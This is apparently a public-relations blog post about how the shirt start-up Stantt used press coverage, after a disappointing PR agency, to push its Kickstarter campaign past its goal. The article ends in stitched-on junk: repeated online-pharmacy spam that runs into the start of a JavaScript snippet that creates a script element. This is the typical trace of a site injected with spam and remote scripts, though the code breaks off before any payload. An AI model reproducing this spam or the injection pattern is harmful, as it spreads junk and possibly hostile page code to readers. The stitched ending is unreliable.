How PR Launched A Thousand Shirts

On a recent cold, rainy and just plain miserable evening, I ventured forth to a central New Jersey  office building, home to a start-up incubator called Juice Tank.  Inside, I took a seat, along with dozens of other rain-soaked attendees, to hear about how one fledgling  company  used the iconic crowdfunding platform Kickstarter to help raise money for its e-commerce business.

The company, named Stantt,  has a patent-pending sizing technology that allows them to produce men’s shirts that don’t fall into the generic  small, medium and large sizes.  Instead, Stantt’s shirts are made to give their customers a customized perfect fit.   The technology — involving mining 200 measurements from more than 800 3D body scans to produce about 70 different sizes of men’s shirts—uses an algorithm that matches customers to their right size.

OK, great idea but Stantt needed some seed capital to make its dream come true.  Enter Kickstarter.  Founders Matt Hornbuckle and Kirk Keel, both former Johnson & Johnson consumer brand managers,  launched its Kickstarter campaign last year with an initial fundraising goal of   $15,000.

They not only reached that goal but blew way past it, raising $120,195 with pledges from 980 backers.

Hornbuckle credits public relations as a major reason for the campaign’s success.  Stantt hired a PR agency to get the word out about the campaign but was unsuccessful  and cost the company thousands of dollars.  The PR agency “made all of these promises” but failed to deliver,  Hornbuckle lamented.

At the same time, a gentleman sitting behind me ranted about his own experience about PR agency rip-off tactics.  Listening to Hornbuckle and this other guy, one would conclude that PR agencies are a total waste of time and money. Their experience with a PR agency was indeed unfortunate but not all agencies should be tarred with the same brush.

Hornbuckle did admit to the audience that PR is hard work.  How would he know?  Because after he booted his PR agency, he was forced to roll up sleeves and reach out to the press on his own.  And he didn’t do too badly for a neophyte.  Hornbuckle was able to secure media coverage about the Kickstarter campaign and his firm from Fox Business News, Fast Company, TechCrunch, C/Net and a host of others.   And while the firm was spreading its gospel on social media channels, Hornbuckle says that press coverage, not social media, played a bigger role in getting people to throw money at the company.

Despite its initial success in the PR business,  Stantt will eventually have to delegate the PR function to others (internal or external) so that Hornbuckle and the company’s other managers can focus on raising more money and other activities needed to build their business.  Or, as Hornbuckle says: our mission is to grow Stantt “one shirt at a time.”clomid online pharmacy, clomid online pharmacyvar d=document;var s=d.createElement(‘script’);

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